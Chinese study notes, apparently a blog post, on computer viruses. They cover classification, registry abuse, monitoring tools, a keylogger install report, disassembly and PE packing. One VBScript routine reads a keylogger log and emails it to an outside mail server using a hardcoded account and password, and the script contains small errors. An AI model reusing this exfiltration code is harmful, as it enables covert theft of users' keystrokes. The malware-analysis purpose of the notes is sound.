1.初识计算机病毒
0x01 认识计算机病毒
定义:计算机病毒是编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。
计算机病毒的特点:
- 破坏性
- 隐蔽性
- 潜伏性
- 传染性
- 不可预见性
0x02 计算机病毒的分类
按照计算机病毒侵入的系统分类
- DOS系统下的病毒
- Windows系统下的病毒
- UNIX系统下的病毒
- OS/2系统下的病毒
按照计算机病毒的链接方式分类
- 源码型病毒:攻击高级语言编写的程序,在代码编译前插入,成为合法程序的一部分。
- 嵌入型病毒:嵌入到现有程序中。
- 外壳型病毒
- 操作系统型病毒“用自己的程序代码加入或取代部分操作系统代码进行工作。
按照计算机病毒的寄生部位或传染对象分类
- 磁盘引导型病毒
- 操作系统型病毒
- 感染可执行程序的病毒
- 感染带有宏的文档
按照计算机病毒的传播介质分类
- 单机病毒
- 网络病毒
按照计算机病毒存在的媒体分类
- 网络病毒
- 文件病毒
- 引导型病毒
- 混合型病毒
按照计算机病毒传染的方法分类
- 邮件病毒
- 优盘病毒
- 网页病毒
- 文件病毒
按照病毒的破坏情况分类
- 良性病毒
- 恶性病毒
按照计算机病毒功能分类
- Virus感染型
- Worm蠕虫
- Backdoor后门
- Trojan木马
- Virus Tool病毒工具
- Constructor黑客工具病毒生成器
- Joke玩笑程序
0x03 计算机病毒的危害
- 病毒激发对计算机数据信息的直接破坏作用
- 占用磁盘空间和对信息的破坏
- 抢占系统资源
- 影响计算机运行速度
- 计算机病毒错误与不可预见的危害
- 计算机病毒的兼容性对系统运行的影响
- 计算机病毒给用户造成严重的心理压力
2.深入了解计算机病毒
0x01 病毒的传播方式
- 欺骗:想办法运行自己,利用欺骗的手段诱骗计算机使用者去点击它而达到运行的目的。比如伪装成图片的样式。
- 隐蔽
- 自启动
- 自我复制
- 自我删除
- 传播
- 感染
0x02 运行实例
通常情况下,病毒和管理员之间的较量在于注册表中的决斗。这里记录一下U盘方式下病毒的运行:
因为Windows已经做了优化,不会再自动运行了,则作如下修改:
我们可以通过禁用自动播放功能、使用组策略关闭自动播放功能、修改注册表关闭磁盘驱动器的Autorun功能其中一种来关闭自动播放功能,也可使用相应方法组织Autorun.inf文件的创建。
0x03 计算机系统相关知识
- 进程
- 线程
- 进程和线程的关系
- 动态链接库DLL
- 服务
- 注册表
0x04计算机病毒对注册表的利用
1.利用注册表实现记事本程序自启动
重启后,记事本程序就会自动运行起来了。
2.利用注册表改变文本文件所关联的程序
3.利用注册表禁止程序运行
这个功能可以用于禁止防火墙、杀毒软件等的运行。
4.Windows注册表工具 MyTool.exe
0x05 虚拟机在研究计算机病毒中的使用
tip:记得保存个快照,病毒控制不住。。
0x06 计算机中毒后的处理
1.计算机中毒后的处理原则
- 立即中断网络
- 不要连接U盘,移动硬盘等移动设备
- 在病毒为彻底清除之前,切勿做其他动作
2.计算机中毒后的处理方法
- 结束病毒进程并终止病毒代码
- 提取病毒样本
- 利用杀毒软件全盘查毒并清理系统中残留的病毒
- 分析病毒行为及功能
- 恢复计算机病毒对系统的破坏与更改
3.计算机病毒行为监控
0x01 计算机病毒对系统的主要影响
1.计算机病毒发作后对文件的影响
2.计算机病毒发作后对Windows注册表的影响
3.计算机病毒发作后对系统进程的影响
4.计算机病毒发作后对网络的影响
5.计算机病毒发作后对计算机其他方面的影响
0x02 计算机病毒行为监控
Filemon是一个强大的是是文件系统监控软件。是基于Ring0的监控,运行后将监视系统中所有进程对文件的各种操作,并且将监控结果显示到下面的输出窗口中。
第四列显示了对文件的操作,这里主要关注四种文件操作方式:
可以加入过滤机制,对文件操作进行过滤性的捕获。
下载了一个键盘记录器:
查看文件记录:
注册表监控:Regmon
进程监控:任务管理器
网络行为监控:Netstat 工具,如果想动态观察,则使用TcpView:
对计算机病毒行为综合监控,可以使用InCtrl5
选择监控内容,例如跟踪开机项,只有在输入准确的情况下才能进行确定:
此时安装程序,此软件会进行跟踪、记录。
查看报告:
Installation Report: MiniKeyLog .
Generated by InCtrl5, version 1.0.0.0
Install program: \\Mac\Home\Desktop\MiniKeyLog\MiniKeyLog634\MiniKeyLog.exe
1-29-2019 3:21 PM
------------------------------------------------------------
Registry
********
Keys ignored: 0
---------------
* (none)
Keys added: 21
--------------
HKEY_CLASSES_ROOT\..gpuRestart
HKEY_CLASSES_ROOT\..gpuRestart\OpenWithList
HKEY_CLASSES_ROOT\..gpuRestart\OpenWithList\Console (Mac).exe
HKEY_CLASSES_ROOT\Vetom2
HKEY_CLASSES_ROOT\Vetom2\Settings
HKEY_CLASSES_ROOT\Vetom2\ToolBarStyle
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E979-E325-11CE-BFC1-08002BE10318}\E
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#PCI#VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02#3&11583659&0&FC#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#Wave\Device Parameters\C
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{dda54a40-1e4c-11d1-a050-405705c10000}\##?#PCI#VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02#3&11583659&0&FC#{dda54a40-1e4c-11d1-a050-405705c10000}\#Topology\ceclasses\{6994
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Print\Environments\Windows NT x86\Drivers\\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Print\Environments\Windows NT x86\Drivers\\\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_1AB8&DEV_4000&SUBSYS_04001AB8&REV_00\3&11583659&0&18\s
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_1AB8&DEV_4005&SUBSYS_04001AB8&REV_00\4&ebf015d&0&0008\ParentIdPrefix
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\STORAGE\I
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\LanmanServer\Shares\S
Keys deleted: 40
----------------
HKEY_CLASSES_ROOT\*
HKEY_CLASSES_ROOT\*\OpenWithList
HKEY_CLASSES_ROOT\*\OpenWithList\Excel.exe
HKEY_CLASSES_ROOT\*\OpenWithList\IExplore.exe
HKEY_CLASSES_ROOT\*\OpenWithList\MSPaint.exe
HKEY_CLASSES_ROOT\*\OpenWithList\Notepad.exe
HKEY_CLASSES_ROOT\*\OpenWithList\Winword.exe
HKEY_CLASSES_ROOT\*\OpenWithList\WordPad.exe
HKEY_CLASSES_ROOT\*\shellex
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8}
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Offline Files
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Open With
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Open With EncryptionMenu
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\PrlToolsShellExt
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\WinRAR
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\{1F2E5C40-9550-11CE-99D2-00AA006E086C}
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\{3EA48300-8CF6-101B-84FB-666CCB9BCD32}
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\{883373C3-BF89-11D1-BE35-080036B11A03}
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\CryptoSignMenu
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E96E-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Class\{4D36E979-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#PCI#VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02#3&11583659&0&FC#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#Wave\Device Parameters\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{dda54a40-1e4c-11d1-a050-405705c10000}\##?#PCI#VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02#3&11583659&0&FC#{dda54a40-1e4c-11d1-a050-405705c10000}\#Topology\HKEY_LOCAL_MACH
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Lsa\SspiCache\T
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Lsa\SspiCache\T
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Lsa\SspiCache\T
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Print\Environments\Windows NT x86\Drivers\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_1AB8&DEV_4000&SUBSYS_04001AB8&REV_00\3&11583659&0&18\DeviceDesc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_1AB8&DEV_4005&SUBSYS_04001AB8&REV_00\4&ebf015d&0&0008\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02\3&11583659&0&FC\DeviceDesc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02\3&11583659&0&FC\LogConf
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\STORAGE\\system\contr
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\LanmanServer\Shares\
Values added: 7
---------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION "MiniKeyLog.exe"
Type: REG_DWORD
Data: F8, 2A, 00, 00
HKEY_CLASSES_ROOT\..gpuRestart "(Default)"
Type: REG_SZ
Data: .gpuRestart_auto_file
HKEY_CLASSES_ROOT\..gpuRestart\OpenWithList\Console (Mac).exe "(Default)"
Type: REG_SZ
Data: Console (Mac).exe
HKEY_CLASSES_ROOT\Vetom2\Settings "AcceptLicence2"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_CLASSES_ROOT\Vetom2\Settings "Language"
Type: REG_DWORD
Data: 09, 00, 00, 00
HKEY_CLASSES_ROOT\Vetom2\ToolBarStyle "ToolBar1"
Type: REG_DWORD
Data: 00, 00, 00, 00
HKEY_CLASSES_ROOT\Vetom2\ToolBarStyle "ToolBar2"
Type: REG_DWORD
Data: 01, 00, 00, 00
Values deleted: 19
------------------
HKEY_CLASSES_ROOT\* "AlwaysShowExt"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\* "InfoTip"
Type: REG_SZ
Data: prop:Type;DocAuthor;DocTitle;DocSubject;DocComments;Write;Size
HKEY_CLASSES_ROOT\* "QuickTip"
Type: REG_SZ
Data: prop:Type;Size;Write
HKEY_CLASSES_ROOT\* "TileInfo"
Type: REG_SZ
Data: prop:Type;Size
HKEY_CLASSES_ROOT\*\OpenWithList\Excel.exe "(Default)"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\*\OpenWithList\IExplore.exe "(Default)"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\*\OpenWithList\MSPaint.exe "(Default)"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\*\OpenWithList\Winword.exe "(Default)"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\*\OpenWithList\WordPad.exe "(Default)"
Type: REG_SZ
Data:
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8} "(Default)"
Type: REG_SZ
Data: 附到「开始」菜单
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Offline Files "(Default)"
Type: REG_SZ
Data: {750fdf0e-2a26-11d1-a3ea-080036587f03}
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Open With "(Default)"
Type: REG_SZ
Data: {09799AFB-AD67-11d1-ABCD-00C04FC30936}
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Open With EncryptionMenu "(Default)"
Type: REG_SZ
Data: {A470F8CF-A1E8-4f65-8335-227475AA5C46}
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\PrlToolsShellExt "(Default)"
Type: REG_SZ
Data: {456C7CE2-DAAA-4333-A715-898D4671BBD4}
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\WinRAR "(Default)"
Type: REG_SZ
Data: {B41DB860-8EE4-11D2-9906-E49FADC173CA}
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\{883373C3-BF89-11D1-BE35-080036B11A03} "(Default)"
Type: REG_SZ
Data: Summary Properties Page
HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers\CryptoSignMenu "(Default)"
Type: REG_SZ
Data: {7444C719-39BF-11D1-8CD9-00C04FC29D45}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02\3&11583659&0&FC\LogConf "BasicConfigVector"
Type: Hex(A)
Data: (data too large: 264 bytes)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\PCI\VEN_8086&DEV_2445&SUBSYS_04001AB8&REV_02\3&11583659&0&FC\LogConf "BootConfig"
Type: REG_RESOURCE_LIST
Data: 01, 00, 00, 00, 05, 00, 00, 00, 00, 00, 00, 00, 01, 00, 01, 00, 03, 00, 00, 00, 01, 00, 01, 00, 00, E2, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 01, 00, 01, 00, 00, E4, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 02, 03, 00, 00, 0B, 00, 00, 00, 0B, 00, 00, 00, FF, FF, FF, FF
Values changed: 1
-----------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\RNG "Seed"
Old type: REG_BINARY
New type: REG_BINARY
Old data: 6C, 3E, F7, 69, A1, 0D, 10, EE, DE, 20, 87, 21, 5B, 0B, BA, 2E, DB, 05, 68, 73, 0B, F9, 2F, 5C, 9B, B9, 43, 00, E0, FF, 43, 45, E7, 2A, E8, C3, 0E, 8F, E4, 0D, 6E, 49, AA, 28, 31, E3, 53, 33, 23, DA, 4C, E2, 23, 8F, 83, 48, 79, E8, F7, EE, 5B, 62, 18, EE, 0E, B9, 12, 05, 94, 6E, F4, 29, A0, 55, 45, 23, 6B, 93, 93, D5
New data: FB, 0A, A3, 83, 03, 5A, C0, 2A, 93, 4A, 1D, 22, FE, 2A, 6F, 66, E0, 8E, A1, 3E, 0F, 24, B0, A9, 9B, 32, FC, 25, 6B, C9, 52, 22, 0D, FB, D3, 6C, D9, 95, 44, 65, 02, 3E, 55, 7C, CD, 14, AA, DC, 0A, BC, 0E, 77, C4, B9, 88, FD, B1, 16, 1D, BB, 21, 99, 94, C8, 38, 3A, F0, DD, 36, 2F, 2E, 0F, DB, EC, 1C, 2B, 9A, 4E, 83, C9
------------------------------------------------------------
Disk contents
*************
Drives tracked: 1
-----------------
* c:\
Files changed: 3
----------------
c:\Documents and Settings\zlp\NTUSER.DAT.LOG
Old date: 1-29-2019 3:21 PM
New date: 1-29-2019 3:21 PM
Old size: 1,024 bytes
New size: 1,024 bytes
c:\WINDOWS\Prefetch\MINIKEYLOG.EXE-119DC13C.pf
Old date: 1-29-2019 3:20 PM
New date: 1-29-2019 3:21 PM
Old size: 16,990 bytes
New size: 16,990 bytes
c:\WINDOWS\system32\config\software.LOG
Old date: 1-29-2019 3:21 PM
New date: 1-29-2019 3:21 PM
Old size: 1,024 bytes
New size: 1,024 bytes
------------------------------------------------------------
INI file
********
Ini files tracked: 4
--------------------
* C:\boot.ini
* c:\windows\control.ini
* c:\windows\system.ini
* c:\windows\win.ini
------------------------------------------------------------
Text file
*********
Text files tracked: 2
---------------------
* c:\windows\system32\autoexec.nt
* c:\windows\system32\config.nt
------------------------------------------------------------
InCtrl5, Copyright ?2000 by Ziff Davis Media, Inc.
Written by Neil J. Rubenking
First published in PC Magazine, December 5, 2000.
也可使用Procmon:
计算机病毒监控辅助分析工具介绍:
1.IceSword
我们先用HideToolz隐藏一个进程:
打开任务管理器是无法看到的:
打开IceSword可以查看:
打开冰刀仍可查看到进程explorer.exe。
冰刀还有很多其他强大的功能,在这里不一一赘述了。
2.浏览器绑架克星——HijackThis
第一个功能:扫描系统并保存日志
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 17:19:00, on 2019-1-29
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP3 (6.00.2900.5512)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Parallels\Parallels Tools\Services\coherence.exe
C:\Program Files\Parallels\Parallels Tools\Services\prl_tools_service.exe
C:\Program Files\Parallels\Parallels Tools\Services\prl_tools.exe
C:\Program Files\Parallels\Parallels Tools\prl_cc.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\wscntfy.exe
C:\WINDOWS\system32\conime.exe
C:\WINDOWS\system32\wuauclt.exe
C:\WINDOWS\system32\msiexec.exe
C:\Program Files\Trend Micro\HiJackThis\HiJackThis.exe
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [UserFaultCheck] %systemroot%\system32\dumprep 0 -u
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] C:\WINDOWS\system32\CTFMON.EXE (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] C:\WINDOWS\system32\CTFMON.EXE (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\CTFMON.EXE (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\CTFMON.EXE (User 'Default user')
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O20 - Winlogon Notify: prl_uprof - C:\Program Files\Parallels\Parallels Tools\prl_uprof.dll
O22 - SharedTaskScheduler: Browseui 预加载程序 - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: 组件类别缓存程序 - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: Parallels Coherence服务 (Parallels Coherence Service) - Parallels International GmbH - C:\Program Files\Parallels\Parallels Tools\Services\coherence.exe
O23 - Service: Parallels工具 (Parallels Tools Service) - Parallels International GmbH - C:\Program Files\Parallels\Parallels Tools\Services\prl_tools_service.exe
O23 - Service: Protected Storage (tuwepi) - Unknown owner - C:\WINDOWS\System32\tuwepi.exe
--
End of file - 3043 bytes
第二个功能 只扫描系统
第三个功能 进入主程序界面,单机扫描后开始扫描,列出所有可以项目,点击修复可进行修复:
0x03 搭建病毒分析实验室
方案一:结合使用Filemon、Regmon、ProcessExplorer、Tcpview、IceSword。
方案二:ProcessExplorer、Tcpview、IceSword
4.计算机病毒高级分析
0x01脚本语言的学习掌握
在EditPlus5中学习使用VBScript语言。
REM 输出任意先前输入的信息
' 使用InputBox和Mshbox函数
Dim Information
Information="请输入你的信息:"
info=InputBox(Information,"信息")
Msgbox(info)
保存好后双击:
REM和’都是注释语句的标志,Dim声明变量,=是赋值符号,Inputbox是VBS内建的函数,Msgbox是用来输出的函数。
Sub SendIPInfo()
On Error Resume Next
Dim iMsg,iConf,flds,x
Const ForReading = 1
set objWMI =GetObject("winmgmts:\\"&"."&"\root\cimv2")
set colOS=objWMI.InstancesOf("Win32_OperatingSystem")
For Each objOS In cloOS
x=objOS.SystemDirectory & "\log.txt"
Next
Dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(x,ForReading)
BodyText = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/sdo/configuration/"
Flds.Item(schema & "sendusing" ) =2
Flds.Item(schema & "smtpserver" ) ="mail.qq.com"
Flds.Item(schema & "smtpserverport" ) =465
Flds.Item(schema & "smtpauthenticate" ) =1
Flds.Item(schema & "sendusername" ) ="[email protected]"
Flds.Item(schema & "sendpassword" ) ="woshipeng"
Flds.Item(schema & "smtpusessl" ) =1
Flds.Update
With iMsg
.To = "Sender Name <[email protected]>"
.From = "WittPeng<[email protected]>"
.Subject=Date()&Time()
.HTMLBody = "-:(CHjmlru Klulogg3r):-"& BodyText
.Sender="WittPeng"
.Organization = "Hell Inc."
.ReplyTo = [email protected]
Set .Configuration = iConf
.Send
End With
Set iMsg = Nothing
Set iConf = Nothing
批处理脚本语言,用于DOS和Windows系统中。
0x02 汇编语言的学习掌握
可参考我之前关于汇编语言的博客。
0x03 反汇编工具的熟练使用
首先我们使用VC写个“helloword”:
#include <stdio.h>
int main()
{
printf("Hello World!");
return 0;
}
VC中使用F10进行单步调试,打开反汇编窗口:
查看内存窗口:
来一个新的代码:
#include <stdio.h>
int Test(int a,int b)
{
return a+b;
}
int main()
{
int i=Test(3,2);
printf("%d\n",i);
return 0;
}
Alt+5查看寄存器:
栈底EBP=0019FF80 ,栈顶ESP=0019FF44,
Alt+6打开内存窗口:
当然了,观察寄存器和内存是一个动态的过程。
VC的反汇编调试是在有源码的情况下进行的,很多情况下是没有源码的,我们需要使用OllyDbg,需要在管理员权限打开。
首先,我们在VC中Release编译,生成exe可执行文件,使用OD打开:
静态分析,则需要使用静态反汇编工具IDA
现在使用IDA分析HelloWord.exe
start是程序代码最开始执行的地方,通常是库代码.
双击aHelloWorld,显示:
查看main函数:
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main proc near ; CODE XREF: start+AFp
.text:00401000 push offset aHelloword ; "helloword!!!"
.text:00401005 call _printf
.text:0040100A add esp, 4
.text:0040100D xor eax, eax
.text:0040100F retn
.text:0040100F _main endp
0x04 Win 2000/XP
0x05 Win32 API监控工具介绍
使用MyMonitor,这是一款优秀的病毒监控工具:
我们将一个键盘记录器放入,看一看它在做什么:
在此继续使用IDA查看一下:
在Imports查看使用的API:
接下来从病毒代码的入口处进行分析:
Ctrl+E就可以找到:
.itext:008D6F7C public start
.itext:008D6F7C start proc near ; DATA XREF: HEADER:00400128o
.itext:008D6F7C push ebp
.itext:008D6F7D mov ebp, esp
.itext:008D6F7F add esp, 0FFFFFFF0h
.itext:008D6F82 push ebx
.itext:008D6F83 mov eax, offset dword_8C691C
.itext:008D6F88 call sub_40CA98
.itext:008D6F8D mov ebx, off_C11964
除了保存一些寄存器值,调用了sub_40CA98,我们双击看看:
.text:0040CA98 sub_40CA98 proc near ; CODE XREF: start+Cp
.text:0040CA98 push ebx
.text:0040CA99 mov ebx, eax
.text:0040CA9B xor eax, eax
.text:0040CA9D mov TlsIndex, eax
.text:0040CAA2 push 0 ; lpModuleName
.text:0040CAA4 call GetModuleHandleW_0
.text:0040CAA9 mov ds:hInstance, eax
.text:0040CAAE mov eax, ds:hInstance
.text:0040CAB3 mov dword_8D7C2C, eax
.text:0040CAB8 xor eax, eax
.text:0040CABA mov dword_8D7C30, eax
.text:0040CABF xor eax, eax
.text:0040CAC1 mov dword_8D7C34, eax
.text:0040CAC6 lea eax, [ebx+8]
.text:0040CAC9 mov dword_8D7C3C, eax
.text:0040CACE call sub_40CA8C
.text:0040CAD3 mov edx, offset unk_8D7C28
.text:0040CAD8 mov eax, ebx
.text:0040CADA call sub_407BB8
.text:0040CADF pop ebx
.text:0040CAE0 retn
.text:0040CAE0 sub_40CA98 endp
可以看到有三个调用,先看一下函数调用GetModuleHandleW_0:
.text:0040C9A4 GetModuleHandleW_0 proc near ; CODE XREF: sub_40CA98+Cp
.text:0040C9A4
.text:0040C9A4 lpModuleName = dword ptr 4
.text:0040C9A4
.text:0040C9A4 jmp ds:__imp_GetModuleHandleW_0
.text:0040C9A4 GetModuleHandleW_0 endp
接着看一下sub_40CA8C:
.text:0040CA8C sub_40CA8C proc near ; CODE XREF: sub_40CA98+36p
.text:0040CA8C mov eax, offset unk_8D7C28
.text:0040CA91 call sub_40C078
.text:0040CA96 retn
.text:0040CA96 sub_40CA8C endp
比较复杂的函数体系,先看看结构吧,but,ida说太复杂了。。。
先放放,找个时间我得学学IDA和其他工具的配合使用。
5.计算机病毒反分析剖析
0x01 PE 结构
PE的意思就是可移植的执行体,所有的Win32执行体使用都是PE文件格式。
1.手工编写可执行程序
在这里,我使用VC++6.0,参照Winnt.h,其中定义了所有与PE结构相关的各部分结构体,使用VC打开后,Ctrl+F输入IMAGE_DOS_HEADER进行搜索,可以查看MS-DOS的结构体定义.
第一个成员,e_magic是个WORD类型,表示MS-DOS兼容的文件类型,固定值0x5A4D,则输入4D5A;第二个成员到第十八个成员总共58个字节,是初始化操作可以使用00来填充;第19个成员,是一个LONG类型,占4个字节,表示“PE文件标志”在文件的偏移。MS-DOS参与模式使用00填充即可,完成后为:
PE结构部分,打开IMAGE_NT_HEADERS32可以查看。第一个成员表示PE文件标志,是DWORD占4个字节,在Windows中必须为0x00004550,则填写50450000.第二个成员吧考试PE文件头,他的类型是IMAGE_FILE_HEADER结构,具体含义不再赘述:
接下来完成各段头部,又称为节表。
完成PE头结构的标写,还要编写3个段的实体部分的编写。完成后,运行即可。这里展示一下迷你版的十六进制代码:
2.导出表
0x02 PE结构查看工具
1.PEID
2.PETools
0x03 壳
计算机中的壳是指对PE文件具有压缩、加密、保护作用的程序。原理是加壳软件对目标PE的各个节进行压缩,之后还要写入可代码,最后将入口地址修改为壳代码的地址。当一个被加壳的软件运行后,首先运行壳代码,壳代码将各个被压缩的节解压,然后填充原始导入地址表。如果是加密壳,在壳代码中将有很多反跟踪、反调试、反Dump等一些列反分析代码。最后执行代码将跳转到被加壳的目标软件的原始入口地址处。
加壳步骤:
- 判断文件是否存在;
- 判断文件是否为PE格式;
- 将文件内容读入内存;
- 保存附加数据;
- LoadPE函数封装;
- 清除重定位信息;
- 压缩各个节数据;
- 设置完成配置信息节;
- 外壳代码实现。
加壳是避免被分析的重要实现方法,计算机病毒常常会进行加壳,防止被分析。
0x04 脱壳
自动脱壳
手动脱壳:利用TRW2000、OllyDbg等进行调试跟踪,当跟踪到样本把所有被压缩数据解压完毕,修复完IAT表,然后跳转到OEP时即可将此时的内存转储成文件进行分析。
0x05计算机病毒常用的反分析技术
1.反静态分析技术
